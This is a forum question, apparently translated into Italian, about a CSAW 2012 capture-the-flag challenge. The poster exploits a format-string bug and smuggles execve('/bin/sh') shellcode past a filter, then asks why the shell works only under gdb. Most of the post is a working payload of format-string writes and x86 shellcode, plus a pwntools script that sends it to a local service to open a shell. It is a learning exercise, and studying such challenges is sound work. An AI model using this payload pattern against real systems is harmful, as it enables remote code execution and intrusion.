CSAW 2012 challenge2 non può uscire dalla shell di gdb

4

Ho provato a risolvere questo problema . Ho trovato l'FSB a 0x08048bfe _snprintf . Ho caricato il codice shell di \n . La funzione ssc controlla se l'input dell'utente include /bin/sh .

La maggior parte del codice shell include /bin/sh . Ho trovato che la funzione ssc controlla solo la stringa prima di \n . Ho usato questo codice shell e l'ho cambiato un po '. Il mio codice shell finale è:

'\x0c\xd5\xff\xff'*2+'\x0e\xd5\xff\xff'*2+'%10x'*3+'%45345c'+'%n'+'%22197c'+'%n'+'\n'+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\n"

Ricevo shell ( /bin/bash ) con gdb ma non riesco a ottenere la shell senza gdb. Voglio sapere il motivo.

Ho usato questo script

from pwn import *
import time

payload = '\x0c\xd5\xff\xff'*2+'\x0e\xd5\xff\xff'*2+'%10x'*3+'%45375c'+'%n'+'%22167c'+'%n'+'\n'+"\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\n"

proc = remote('localhost', 23456)
proc.recv(1024)
proc.sendline(payload)
time.sleep(5)
proc.interactive()
    
posta Damotorie 22.02.2017 - 13:43
fonte

0 risposte

Leggi altre domande sui tag